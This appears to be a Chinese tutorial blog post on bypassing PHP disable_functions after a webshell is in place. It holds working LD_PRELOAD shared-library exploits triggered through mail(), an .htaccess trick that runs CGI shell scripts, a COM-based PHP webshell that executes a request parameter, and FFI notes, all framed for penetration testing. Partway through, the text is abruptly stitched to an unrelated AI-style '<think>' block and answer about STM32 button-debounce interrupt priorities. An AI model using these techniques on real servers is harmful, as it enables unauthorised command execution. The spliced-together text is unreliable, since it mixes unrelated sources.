disable_functions绕过总结

提要

Linux 中 PHP 环境,已知disable_functions=exec、passthru、popen、proc_open、shell_exec、system请写出两种有可能实现任意命令执行的方式

exec           				 <?phpecho exec('whoami');?>     				       — 执行一个外部程序
passthru					 <?phppassthru("whoami");?>							  — 执行外部程序并且显示原始输出
popen						 <?php$file = popen("whoami","r");pclose($file);?>  	— 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
proc_open             	     <?php$command="whoami"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?> proc_open — 执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。 
shell_exec					 <?phpecho shell_exec('whoami');?>   				   — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
system						 <?phpsystem('whoami');?>   				    		— 执行外部程序,并且显示输出

参考Bypass Disable_function (PHP)
参考浅谈几种Bypass disable_functions的方法
Disable_functions绕过整合

disable_functions

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等

在这里插入图片描述

disable_functions是一个黑名单机制,如果在渗透时已经上传了webshell却因为disable_functions导致我们无法进行命令执行,这时候就需要去进行一个绕过。

蚁剑插件

蚁剑插件市场自带一些绕过插件,建议蚁剑设置代理下载。
在这里插入图片描述
右击加载插件
在这里插入图片描述
在这里插入图片描述

LD_PRELOAD
Fastcgi/PHP_FPM
Apache_mod_cgi
JSON_Serializer_UAF
PHP7_GC_UAF
PHP7_Backtrace_UAF
PHP74_FFI
iconv
PHP7_ReflectionProperty_UAF
PHP7_UserFilter

LD_PRELOAD

劫持函数

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以利用此功能来使用自己的或是其他人提供的函数,另一方面,我们也可以以向别人的程序注入特定库的加载,从而达到特定的目的。

思路

​ php 启动新进程 xxx,xxx内部调用系统函数 a(),a() 位于系统共享对象 a.so 中,所以系统为该进程加载a.so,如果在 a.so 前优先加载可控的 evil.so,evil.so 内含与 a() 同名的恶意函数,由于 evil.so 优先级较高,所以,xxx 将调用到 evil.so 内的 a() 函数,而非系统的 a.so 内的 a()函数,evil.so 为用户可控,达到执行恶意代码的目的。

​ 如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持,前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD),常用PHP利用函数有mail()、error_log(),这两个函数为PHP自带,不需要安装其他扩展。

mail()

查看执行该php文件时所创建的进程,strace linux 命令 在线中文手册

strace -f php 1.php 2>&1 | grep execve

在这里插入图片描述
我们可以看到调用mail()函数时,创建了新进程调用系统函数/usr/sbin/sendmail,除此之外还调用了/bin/sh,所以这里也可以去尝试调用/bin/sh

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。 exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

通过readelf查看/usr/sbin/sendmail可能调用的系统库函数readelf相关命令

readelf -Ws /usr/sbin/sendmail

在这里插入图片描述

选择可能会进行调用的函数进行劫持,编写exp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > /tmp/test/success");
}
int  getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译成so文件:(GCC 参数详解),这里需要注意的是unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环

gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

在这里插入图片描述

编写test.php:

<?php
putenv("LD_PRELOAD=./exp.so");
mail("","","","","");
?>

执行test.php来触发mail()函数

strace -f php test.php 2>&1 | grep execve
php test.php

在这里插入图片描述
这里因为版本问题,disable_functions中也有专门禁止这个函数,大概就是这样,整体思路就是通过putenv()函数将LD_PRELOAD环境变量设置为恶意的exp.so、并且在exp.so中写好想要执行的恶意命令;然后调用mail()函数触发sendmail(),再通过sendmail()触发getuid()从而使恶意的exp.so被加载执行

error_log()

一样的调用了/bin/sh、/usr/sbin/sendmail,是与mail()类似的,但是我这里execve是启动PHP解释器,并没有加载进程
在这里插入图片描述
于此相似的还有

mb_send_mail()需要安装mbstring模块,利用与mail()类似
imap_mail()需要安装imap模块
libvirt_connect()需要libvirt模块
gnupg_init()需要gnupg模块

劫持启动函数

思路

__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)它的语法格式为:__attribute__ ((attribute-list)) ,若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行

类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行,类似构造与析构函数,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,所以无需考虑劫持某一函数,只要能ld_preload并执行php调用新进程,就能劫持共享对象从而bypass disable function

exp:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/leon");
}

为了防止unsetenv()在Centos上无效的进行无限循环(可以使用全局变量 extern char** environ删除,实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能),这里还用到一个小技巧:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

使用for循环修改LD_PRELOAD的首个字符改成\0,\0是C语言字符串结束标记,这样可以让系统原有的LD_PRELOAD环境变量自动失效,最终exp如下:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    const char* cmdline = "whoami > /tmp/leon";
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    system(cmdline);
}

对exp进行编译,并执行php文件

gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

strace -f php test.php 2>&1 | grep execve
php test.php

CGI

当用户访问Web 应用时会发起一个 HTTP 请求。 Web 服务器接收到这个请求后会创建一个新的 CGI 进程。在这个进程中,将 HTTP 请求数据已一定格式解析出来,并通过标准输入和环境变量传入到 URL 指定的 CGI 程序。CGI调用其他程序处理完成后将返回数据写入到标准输出中,Web 服务器进程则从标准输出流中读取到响应,并采用 HTTP 协议返回给用户响应。
在这里插入图片描述

但是CGI协议对于每个请求都需要重新 fork 出一个 CGI 进程,处理完成后关闭,这在高并发时会占用大量服务器资源,所以基于 CGI 协议的基础上做了改进便有了 FastCGI 协议,它是一种常驻型的 CGI 协议。

Fastcgi

FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。
在这里插入图片描述在这里插入图片描述

思路

Nginx与php-fpm之间使用Fastcgi协议通信,目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容

Fastcgi协议与PHP-FPM 攻击方法

Mod CGI(Apache_mod_php)

此方式为 mod_php 通过嵌入 PHP 解释器到 Apache 进程中对php文件进行解析

利用条件:

Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了 cgi, rewrite
Web 目录给了 AllowOverride 权限
思路

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

这里提到了CGI脚本,CGI脚本简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程,使用linux shell脚本编写的cgi程序便可以执行系统命令

所以当Apache 开启了 cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置:

Options +ExecCGI
AddHandler cgi-script .aaa

然后准备shell.aaa作为cgi程序执行:

#!/bin/sh
echo;whoami;uname -a

这里还需要为shell.aaa添加可执行权限,chmod 0777 shell.aaa

利用Windows系统组件COM绕过

按照组件化的程序设计的思想,复杂的应用程序被设计成一些小的,功能单一的组件模块(Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码),这些组件模块可以运行在同一台机器上,也可以运行在不同的机器上。为了实现这样的应用软件,组建程序和组建程序之间需要一些极为细致的规范,只有组件程序遵守了这些共同的规范,然间系统才能正常运行。而COM(Component Objectmodel)就是Microsoft提出的一种应用于Microsoft Windows操作系统平台上的标准

思路

读懂原理后思路就很简单了,因为内容由我们来随意编写,所以只要能上传com组件模块,那么就能进行任意命令执行,因此绕过disable_functions

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>


?a=whoami

利用PHP 7.4 FFI绕过

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

FFI的使用分为声明和调用两个部分,下面看个简单的使用Demo,从共享库中调用printf()函数:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef("int printf(const char *format, ...);", // this is a regular C declaration 
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

从RCTF nextphp看PHP7.4的FFI绕过disable_functions

<think>好的,我现在要解决用户关于STM32外部中断中按键消抖的优先级处理的问题。首先,我需要回忆一下STM32的中断优先级机制。根据引用[3],STM32的中断优先级分为抢占优先级和响应优先级,通过NVIC_PriorityGroup_x来配置这两种优先级的数量。比如,如果选择NVIC_PriorityGroup_2,那么抢占优先级有4个级别,响应优先级也有4个级别。每个中断的优先级需要在这两个部分中分配。 接下来,用户提到按键消抖,这通常涉及到硬件或软件消抖方法。在外部中断中使用按键时,抖动会产生多次中断,导致误触发。所以需要处理消抖问题。常见的软件消抖方法是在中断服务程序(ISR)中加入延时或定时器来检测按键的稳定状态。但这里用户特别询问了优先级处理,所以可能需要结合中断优先级来优化消抖处理。 首先,配置外部中断的优先级。假设用户使用的是EXTI0中断,对应的中断处理函数是EXTI0_IRQHandler,如引用[1]所述。需要设置该中断的抢占优先级和响应优先级。比如,可以将按键中断的抢占优先级设为较低,这样其他更高优先级的中断可以打断它,避免影响系统实时性。但具体配置要根据系统需求来定。 然后,考虑消抖处理。在中断服务程序中直接进行延时可能不太合适,因为这会阻塞其他中断。更好的方法是启动一个定时器中断,在按键外部中断触发后,启动定时器,比如10ms后再次检测按键状态。这样,定时器中断的优先级需要合理设置。如果定时器中断的抢占优先级低于按键中断,那么在处理定时器中断时,按键中断无法打断它,这样可以确保消抖的有效性。但需要根据实际应用调整优先级,避免冲突。 此外,引用[3]提到硬件消抖,比如使用RC滤波器,这可以减少软件处理的负担。如果同时使用硬件和软件消抖,中断优先级的配置可能更灵活,因为硬件消抖已经减少了误触发的次数,软件部分可能只需要简单的状态检查。 总结步骤应该是:配置外部中断的优先级,处理消抖(软件或硬件),以及在中断服务程序中合理使用定时器并设置其优先级。同时要注意,在中断服务程序中尽量减少耗时操作,确保系统响应速度。 可能还需要考虑中断标志的清除,避免重复进入中断。例如,在EXTI0的中断处理中,先清除中断标志,然后启动定时器,定时器到期后再次读取GPIO状态,确认按键是否稳定按下。这样,定时器的优先级设置需要不影响其他关键任务。 用户的问题还涉及具体实现和配置步骤,可能需要给出代码示例,比如使用HAL库配置NVIC,设置优先级,以及在中断服务程序中添加消抖逻辑。同时,提醒用户注意中断处理函数中的延迟操作可能带来的影响,建议使用非阻塞的方式处理消抖,比如状态机或定时器回调。 最后,确保回答结构清晰,分步骤说明优先级配置和消抖处理的实现方法,并引用提供的参考资料作为支持。</think>### STM32外部中断按键消抖的优先级处理及配置 #### 1. **中断优先级配置** STM32的中断优先级通过**抢占优先级**和**响应优先级**(子优先级)共同决定,需通过`NVIC_PriorityGroupConfig()`函数设置优先级分组。例如: - 若选择`NVIC_PriorityGroup_2`,则抢占优先级范围为`0-3`,响应优先级范围为`0-3`(共4级)。 - 配置外部中断(如EXTI0)的优先级时,需分配抢占和响应优先级值: ```c NVIC_InitTypeDef NVIC_InitStruct = {0}; NVIC_InitStruct.NVIC_IRQChannel = EXTI0_IRQn; NVIC_InitStruct.NVIC_IRQChannelPreemptionPriority = 1; // 抢占优先级 NVIC_InitStruct.NVIC_IRQChannelSubPriority = 0; // 响应优先级 NVIC_InitStruct.NVIC_IRQChannelCmd = ENABLE; HAL_NVIC_Init(&NVIC_InitStruct); ``` 此处将按键中断的抢占优先级设为1,允许更高优先级(如0)的中断打断它[^3]。 #### 2. **按键消抖实现** **软件消抖**通常结合定时器中断实现: 1. **外部中断服务函数**中启动定时器: ```c void EXTI0_IRQHandler(void) { HAL_GPIO_EXTI_IRQHandler(GPIO_PIN_0); // 清除中断标志 HAL_TIM_Base_Start_IT(&htim2); // 启动定时器(例如TIM2) } ``` 2. **定时器中断服务函数**中检测按键稳定状态: ```c void TIM2_IRQHandler(void) { HAL_TIM_IRQHandler(&htim2); if (HAL_GPIO_ReadPin(GPIOA, GPIO_PIN_0) == GPIO_PIN_RESET) { // 执行按键动作 } } ``` 3. **配置定时器优先级**(需低于按键中断的抢占优先级): ```c NVIC_InitStruct.NVIC_IRQChannel = TIM2_IRQn; NVIC_InitStruct.NVIC_IRQChannelPreemptionPriority = 2; // 低于EXTI0的抢占优先级 HAL_NVIC_Init(&NVIC_InitStruct); ``` #### 3. **硬件消抖优化** 在按键电路中添加RC滤波电路(如10kΩ电阻 + 0.1μF电容),减少抖动信号对中断的触发次数,降低软件处理负担[^3]。 #### 4. **注意事项** - 中断服务函数应尽量简短,避免阻塞其他中断。 - 清除中断标志必须在服务函数开始处执行,防止重复触发。 - 若系统需要实时性,可提高定时器中断的响应优先级。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值